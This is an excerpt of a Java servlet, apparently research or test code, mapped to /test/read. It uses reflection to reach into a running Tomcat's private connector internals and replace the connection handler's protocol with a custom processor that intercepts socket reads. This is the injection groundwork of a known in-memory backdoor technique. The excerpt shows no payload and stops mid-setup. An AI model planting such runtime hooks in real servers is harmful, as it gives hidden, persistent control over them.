| 23 | import java.util.Collections; |
| 24 | |
| 25 | @WebServlet(urlPatterns = "/test/read") |
| 26 | public class testRead extends HttpServlet { |
| 27 | |
| 28 | @Override |
| 29 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { |
| 30 | try { |
| 31 | Field reqF = req.getClass().getDeclaredField("request"); |
| 32 | reqF.setAccessible(true); |
| 33 | Request request = (Request) reqF.get(req); |
| 34 | Connector connector = request.getConnector(); |
| 35 | Http11NioProtocol protocolHandler = (Http11NioProtocol) connector.getProtocolHandler(); |
| 36 | Field handler = protocolHandler.getClass().getSuperclass().getSuperclass().getSuperclass() |
| 37 | .getDeclaredField("handler"); |
| 38 | handler.setAccessible(true); |
| 39 | Object hd = handler.get(protocolHandler); |
| 40 | |
| 41 | Field proto = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler") |
| 42 | .getDeclaredField("proto"); |
| 43 | proto.setAccessible(true); |
| 44 | Http11NioProtocol protocol = (Http11NioProtocol) proto.get(hd); |
| 45 | Adapter adapter = protocol.getAdapter(); |
| 46 | Field endpoint = protocol.getClass().getSuperclass().getSuperclass().getSuperclass() |
| 47 | .getDeclaredField("endpoint"); |
| 48 | endpoint.setAccessible(true); |
| 49 | AbstractEndpoint endpoint1 = (AbstractEndpoint) endpoint.get(protocol); |
| 50 | Http11NioProtocol protocol1 = new Http11NioProtocol() { |
| 51 | @Override |
| 52 | protected Processor createProcessor() { |
| 53 | Http11Processor http11Processor = new Http11Processor(protocol.getMaxHttpHeaderSize(), |
| 54 | protocol.getAllowHostHeaderMismatch(), |
| 55 | protocol.getRejectIllegalHeaderName(), endpoint1, |
| 56 | protocol.getMaxTrailerSize(), |
| 57 | Collections.singleton(protocol.getAllowedTrailerHeaders()), |
| 58 | protocol.getMaxExtensionSize(), |
| 59 | protocol.getMaxSwallowSize(), |
| 60 | null, |
| 61 | protocol.getSendReasonPhrase(), |
| 62 | protocol.getRelaxedPathChars(), |
| 63 | protocol.getRelaxedQueryChars()) { |
| 64 | @Override |
| 65 | public AbstractEndpoint.Handler.SocketState process(SocketWrapperBase<?> socketWrapper, |
| 66 | SocketEvent status) throws IOException { |
| 67 | if (status == SocketEvent.OPEN_READ) { |
| 68 | ByteBuffer buffer = ByteBuffer.allocate(1); |
| 69 | socketWrapper.read(false, buffer); |
| 70 | } |
| 71 | socketWrapper.getSocketBufferHandler().getReadBuffer().position(0); |
| 72 | return super.process(socketWrapper, status); |
| 73 | } |
| 74 | }; |
| 75 | http11Processor.setAdapter(adapter); |
| 76 | return http11Processor; |
| 77 | } |
| 78 | }; |
| 79 | protocol1.setAdapter(adapter); |
| 80 | proto.set(hd, protocol1); |
| 81 | Field recycledProcessors = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler") |
| 82 | .getDeclaredField("recycledProcessors"); |
nothing calls this directly
no outgoing calls
no test coverage detected